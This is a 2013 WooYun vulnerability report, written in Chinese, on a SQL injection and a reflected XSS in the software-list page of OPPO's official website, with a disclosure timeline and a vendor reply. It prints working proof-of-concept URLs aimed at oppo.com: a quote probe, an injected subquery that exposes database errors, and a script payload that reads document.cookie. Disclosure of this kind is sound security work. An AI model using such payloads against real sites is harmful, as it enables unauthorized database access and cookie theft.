当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025690

漏洞标题:【专注OPPO一整天】OPPO官网SQL注入漏洞(2)

相关厂商:广东欧珀移动通讯有限公司

漏洞作者: zyymartin

提交时间:2013-06-11 19:18

修复时间:2013-07-26 19:18

公开时间:2013-07-26 19:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:9

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-11: 细节已通知厂商并且等待厂商处理中
2013-06-14: 厂商已经确认,细节仅向厂商公开
2013-06-24: 细节向核心白帽子及相关领域专家公开
2013-07-04: 细节向普通白帽子公开
2013-07-14: 细节向实习白帽子公开
2013-07-26: 细节向公众公开

简要描述:

OPPO官网SQL注入漏洞(2)

详细说明:

端午节快乐~~俺又来给你们送漏洞了,和第一个SQL注入点位差不多只是换了一个参数·····
------
这次可以供我们SQL注入的链接是:

http://www.oppo.com/index.php?q=software/list&type=3&&d=ASC


问题出在了参数“d=”上
------
详情:
提交下面的URL:

http://www.oppo.com/index.php?q=software/list&type=3&&d='


返回结果:

Zandy_Mysql error
The query result is false.
error number: 1064; error message: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 9 OFFSET 0' at line 1
SQL: SELECT * FROM oppo_www.oppo_software WHERE status = 1 AND product_type=3 ORDER BY downloads ' LIMIT 9 OFFSET 0


6-11 注入.png


有看点!这边可以注入嘛~
然后弱弱的我提交下面的URL:

http://www.oppo.com/index.php?q=software/list&type=3&&d=and%200%3C%3E(select%20count(*)%20from%20admin)


返回结果:

Zandy_Mysql error
The query result is false.
error number: 1146; error message: Table 'oppo_www.admin' doesn't exist
SQL: SELECT * FROM oppo_www.oppo_software WHERE status = 1 AND product_type=3 ORDER BY downloads and 0<>(select count(*) from admin) LIMIT 9 OFFSET 0


6-11 注入3.png


注入点在ORDER BY downloads后面~~SQL语句被成功执行~很明显可以注入,下面我就懒得做了,只要肯花点时间,从这边注入肯定有结果的。
Ps.这边还能构造XSS,下面是传送门,有没有很神奇?~

http://www.oppo.com/index.php?q=software/list&type=3&&d=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


6-11 注入0.png

漏洞证明:

网页截图:

6-11 注入.png


6-11 注入3.png

修复方案:

d=

参数好好过滤!

版权声明:转载请注明来源 zyymartin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2013-06-14 15:33

厂商回复:

跟上一个注入点重合,但还是谢谢了

最新状态:

暂无